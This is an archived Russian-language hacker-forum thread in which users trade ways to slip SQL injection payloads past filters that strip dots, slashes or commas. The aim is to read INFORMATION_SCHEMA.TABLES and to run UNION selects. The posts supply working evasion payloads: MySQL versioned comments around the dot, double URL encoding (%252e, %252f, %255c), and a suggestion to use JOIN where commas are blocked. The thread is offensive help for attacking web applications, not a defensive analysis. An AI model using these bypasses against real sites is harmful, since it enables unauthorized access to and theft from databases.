Просмотр полной версии : SQL инъекция и фильтрация точек
Доброго времени суток. Если в запросе фильтруются точки, то можно как-нибудь обратится к "INFORMATION_SCHEMA.TABLES"? Если ответ положительный, то как?
SELECT table_name FROM tables WHERE table_sch ema='information_schema';
SELECT table_name FROM information_schema/*!.*/tables;
SELECT table_name FROM tables WHERE table_sch ema='information_schema';
SELECT table_name FROM information_schema/*!.*/tables;
1. #1046 - No database selected
2. Используется точка. А в моём случае ещё и слеш фильтруется(и амперсанд).
SELECT table_name FROM tables WHERE table_sch ema='information_schema';
SELECT table_name FROM information_schema/*!.*/tables;
wtf??
вы проверяете что пишите?
откуда вы сфантазировали таблицу tables в нынешней базе?
второй запрос это всего лишь обход ваф, а фильтрации могут быть реализованы по разному
Легко, закодируй весь запрос в URLdecode
У меня это тоже первая мысль была, но не всё так просто...
upd. Вторая мысль - использовать CONCAT и CHAR, но в имени таблицы их использовать не получается.
select*from information_schema%2etables
select*from information_schema%252etables
select*from information_schema%2etables
select*from information_schema%252etables
верхний не работает и понятно почему. Но почему второй сработал? После декодирования получается ведь information_schema%.tables, что не соответствует синтаксису.
Га-Ноцри
19.03.2013, 05:21
верхний не работает и понятно почему. Но почему второй сработал? После декодирования получается ведь
information_schema%.tables
, что не соответствует синтаксису.
Если не ошибаюсь, подобная техника обхода, в данном случае фильтра на точку, называется Double Encoding. Еще варианты:
точка %252e
прямой слэш %252f
обратный слеш %255c
Грабитель
19.03.2013, 06:04
select table_name from information_schema,tables
Мне помог однажды такой запрос.
Не можешь использовать точку, используй запятую.
select table_name from information_schema,tables
Мне помог однажды такой запрос.
Не можешь использовать точку, используй запятую.
Запрос делает полное обьединение таблиц information_schema и tables (full join, ищет их в текущей базе) и в нем ищет колонку table_namе.
Если его подать напрямую на вход MySql - будет ошибка.
ERROR 1146 (42S02): Table 'test.information_schema' doesn't exist
Сработает, только если обрабатывается предварительно и обработчик меняет ',' на '.'
Т.е. совет поможет вряд ли...
leksadin
03.12.2016, 17:41
а если фильтруется запятая - что можно придумать?
BabaDook
03.12.2016, 18:42
Вариантов так много что это гадание
leksadin
03.12.2016, 19:12
я делаю UNION select VERSION(),2,3
но запятые нельзя. Можно конечно как слепую крутить, через like. Но нужно union'ом
BabaDook
03.12.2016, 19:23
↑ (https://antichat.live/posts/4020323/)
я делаю UNION select VERSION(),2,3
но запятые нельзя. Можно конечно как слепую крутить, через like. Но нужно union'ом
join
leksadin
03.12.2016, 20:05
↑ (https://antichat.live/posts/4020324/)
join
А можно чуть подробнее ? плиииз =)
JOIN же объединяет таблицы
HAXTA4OK
04.12.2016, 08:23
↑ (https://antichat.live/posts/4020335/)
А можно чуть подробнее ? плиииз =)
JOIN же объединяет таблицы
https://rdot.org/forum/showpost.php?p=21290&postcount=13
закрыто, все вопросы в спец тему.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot